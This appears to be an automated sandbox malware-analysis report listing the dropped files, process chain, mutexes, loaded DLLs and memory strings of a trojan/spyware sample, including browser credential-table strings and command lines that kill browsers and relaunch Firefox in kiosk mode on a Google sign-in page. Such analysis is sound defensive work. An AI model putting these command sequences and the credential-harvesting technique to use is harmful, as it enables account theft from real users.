Source: file.exe, 00000001.00000003.2358631808.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9980897335423198
Source: FMQRQQBV70LQ52SA3P6LYU.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9976903099455041
Source: FMQRQQBV70LQ52SA3P6LYU.exe.1.dr	Static PE information: Section: tfbezuor ZLIB complexity 0.9943519619500595
Source: skotes.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9976903099455041
Source: skotes.exe.5.dr	Static PE information: Section: tfbezuor ZLIB complexity 0.9943519619500595
Source: random[1].exe.8.dr	Static PE information: Section: ZLIB complexity 0.9980897335423198
Source: 445877ac99.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9980897335423198
Source: random[1].exe0.8.dr	Static PE information: Section: wcxkxkso ZLIB complexity 0.9947947004116185
Source: d319b3db9a.exe.8.dr	Static PE information: Section: wcxkxkso ZLIB complexity 0.9947947004116185
Source: XNXDGT6D647USNMWPLK.exe.11.dr	Static PE information: Section: ZLIB complexity 0.9976903099455041
Source: XNXDGT6D647USNMWPLK.exe.11.dr	Static PE information: Section: tfbezuor ZLIB complexity 0.9943519619500595
Source: T9ZRQE6U4JYG25WDD1H6CU.exe.30.dr	Static PE information: Section: ZLIB complexity 0.9976903099455041
Source: T9ZRQE6U4JYG25WDD1H6CU.exe.30.dr	Static PE information: Section: tfbezuor ZLIB complexity 0.9943519619500595

Source: FVJELX1J0WZE21U53029YWO.exe.11.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: I2N109OTNRC1U5QURKF07D4TDEJX.exe.30.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: Z3WVQPAQZN7WXE31OIKO79M3XY.exe.1.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: hostname[1].exe.8.dr, Request.cs	Cryptographic APIs: 'CreateDecryptor'
Source: hostname.exe.8.dr, Request.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@73/30@59/12

Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Z3WVQPAQZN7WXE31OIKO79M3XY.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:988:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6644:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5932:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5552:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6400:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000001.00000003.2244605601.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230490892.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2881915374.0000000005533000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870731182.0000000005534000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3100000429.0000000005B58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: d319b3db9a.exe, 0000000C.00000002.2940937708.000000000087E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT name, value FROM autofill3;

Source: file.exe	ReversingLabs: Detection: 47%
Source: file.exe	Virustotal: Detection: 52%

Source: Z3WVQPAQZN7WXE31OIKO79M3XY.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: FMQRQQBV70LQ52SA3P6LYU.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe "C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe "C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe"
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe "C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe "C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe "C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe "C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe"
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002748001\num.exe "C:\Users\user\AppData\Local\Temp\1002748001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2264 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ffd276fa-ed93-4d2f-b2e5-111fb53225f6} 5564 "\\.\pipe\gecko-crash-server-pipe.5564" 234dec6eb10 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe "C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4036 -parentBuildID 20230927232528 -prefsHandle 3428 -prefMapHandle 3956 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {22fb6704-120d-4177-a90b-1edee1b250d6} 5564 "\\.\pipe\gecko-crash-server-pipe.5564" 234f1312a10 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe "C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe "C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe"
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process created: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe "C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002748001\num.exe "C:\Users\user\AppData\Local\Temp\1002748001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process created: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe "C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe "C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe"
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process created: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe "C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe"
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process created: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe "C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe"
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe "C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe "C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe "C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe "C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe "C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe "C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe "C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002748001\num.exe "C:\Users\user\AppData\Local\Temp\1002748001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process created: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe "C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process created: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe "C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2264 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ffd276fa-ed93-4d2f-b2e5-111fb53225f6} 5564 "\\.\pipe\gecko-crash-server-pipe.5564" 234dec6eb10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4036 -parentBuildID 20230927232528 -prefsHandle 3428 -prefMapHandle 3956 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {22fb6704-120d-4177-a90b-1edee1b250d6} 5564 "\\.\pipe\gecko-crash-server-pipe.5564" 234f1312a10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process created: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe "C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe"
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process created: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe "C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe"
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Section loaded: mstask.dll	Jump to behavior
